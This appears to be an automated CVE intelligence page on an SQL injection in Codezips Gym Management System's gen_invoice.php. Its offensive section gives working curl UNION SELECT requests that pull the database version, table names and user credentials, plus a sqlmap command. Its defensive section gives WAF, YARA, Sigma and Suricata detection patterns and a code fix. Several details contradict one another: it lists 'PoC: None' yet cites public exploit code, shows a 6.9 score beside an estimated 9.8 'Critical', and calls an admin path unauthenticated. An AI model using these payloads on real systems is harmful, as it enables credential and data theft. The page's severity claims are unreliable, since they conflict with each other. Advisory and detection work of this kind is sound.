☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-1856

CVE-2025-1856 SQL Injection in Codezips
📅 PUBLISHED: 2025-03-03 07:31 UTC 🔄 UPDATED: 2026-09-23 20:23 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.61%
👁️
0.61% probability
15.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-1856 is a critical SQL injection vulnerability discovered in Codezips Gym Management System version 1.0. The flaw resides in the /dashboard/admin/gen_invoice.php file, where the id parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or full database compromise. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch has been released by the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the vulnerability characteristics, the following breakdown is estimated:

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) – Full database read access possible.
  • Integrity (I): High (H) – Data can be modified or deleted.
  • Availability (A): High (H) – Database can be disrupted or destroyed.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote exploitability, no authentication requirement, and public exploit code makes this a high-priority vulnerability for any organization using this software.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the id parameter of the gen_invoice.php script. The application likely constructs a SQL query by directly concatenating the user-supplied id value without proper sanitization or parameterized queries.

Example vulnerable PHP code (conceptual):

$id = $_GET['id'];
$query = "SELECT * FROM invoices WHERE id = $id";
$result = mysqli_query($conn, $query);

An attacker can manipulate the id parameter to break out of the intended SQL syntax and execute arbitrary commands. For example:

http://target.com/dashboard/admin/gen_invoice.php?id=1 UNION SELECT username,password FROM users--

This would return the usernames and passwords from the users table in the application's response.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$id = $_GET['id'];
$sql = "SELECT * FROM invoices WHERE id = $id";
$result = mysqli_query($conn, $sql);
?>

Patched Code (Conceptual):

<?php
$id = intval($_GET['id']); // Cast to integer
$sql = "SELECT * FROM invoices WHERE id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
?>

The patched version uses parameterized queries (prepared statements) which ensure user input is treated as data, not executable code. Additionally, casting the input to an integer provides a secondary defense.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Install Codezips Gym Management System 1.0 on a local server (e.g., XAMPP, LAMP).
  2. Ensure the application is accessible via a web browser.

Exploitation Steps:

  1. Basic SQL Injection Detection:

    curl "http://target.com/dashboard/admin/gen_invoice.php?id=1'"
    

    If a SQL error is returned, the parameter is vulnerable.

  2. Extract Database Version:

    curl "http://target.com/dashboard/admin/gen_invoice.php?id=1 UNION SELECT @@version,2,3-- -"
    
  3. Extract Table Names:

    curl "http://target.com/dashboard/admin/gen_invoice.php?id=1 UNION SELECT table_name,2,3 FROM information_schema.tables-- -"
    
  4. Extract User Credentials (Example):

    curl "http://target.com/dashboard/admin/gen_invoice.php?id=1 UNION SELECT username,password,3 FROM users-- -"
    

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/dashboard/admin/gen_invoice.php?id=1" --batch --dbs

Blue Team (Defensive)

Detection & Prevention:

  1. Web Application Firewall (WAF) Rules: Deploy WAF rules to block common SQL injection patterns.

    # Nginx WAF rule example
    if ($args ~* "union.*select|select.*from|insert.*into|delete.*from|update.*set") {
        return 403;
    }
    
  2. Input Validation: Implement strict input validation on the server-side. For numeric IDs, cast to integer.

    $id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
    if ($id === false) {
        die("Invalid input");
    }
    
  3. Database Hardening: Use the principle of least privilege for database accounts. The application account should only have necessary permissions (e.g., SELECT, INSERT, UPDATE on specific tables, not DROP or DELETE).

  4. Monitor Logs: Monitor web server and database logs for suspicious queries.

    tail -f /var/log/apache2/access.log | grep -E "union|select.*from|--"
    

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /dashboard/admin/gen_invoice.php with unusual id parameters containing SQL keywords (e.g., UNION, SELECT, --, OR 1=1).
    • Outbound database connections from the web server to unexpected IPs (data exfiltration).
  • File IOCs:
    • Modified or new files in the web root (e.g., webshells).
    • Suspicious entries in web server access logs (e.g., id=1 UNION SELECT...).
  • System IOCs:
    • Unexpected database users or privileges.
    • Unusual database queries in database logs.

Detection Engineering

YARA Rule

rule CVE_2025_1856_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-1856 in Gym Management System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1856"
    strings:
        $sqli_pattern1 = /id=\d*['\"]?\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli_pattern2 = /id=\d*['\"]?\s*\/\*/i
        $sqli_pattern3 = /id=\d*['\"]?\s*;/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against CVE-2025-1856
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the gen_invoice.php endpoint in Gym Management System
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'id='
            - 'UNION'
            - 'SELECT'
            - 'OR 1=1'
            - '--'
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1856 SQL Injection Attempt"; flow:to_server,established; content:"/dashboard/admin/gen_invoice.php"; http_uri; content:"id="; http_uri; pcre:"/id=\d*['\"]?\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/iU"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the System: If possible, take the affected system offline or restrict network access to only trusted IPs.
  2. Apply Virtual Patching: Use a WAF to block SQL injection attempts targeting the vulnerable parameter.
  3. Manual Code Fix: If you have access to the source code, apply the patched code example provided in the "Vulnerable vs. Patched Code" section.

Long-Term Actions:

  1. Vendor Update: Monitor the Codezips website for an official patch. If none is released, consider migrating to a different, actively maintained gym management system.
  2. Secure Coding Practices: Implement parameterized queries for all database interactions across the entire application.
  3. Regular Security Audits: Conduct regular penetration testing and code reviews to identify and fix similar vulnerabilities.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence. For more information, visit Valters IT.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-1856/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.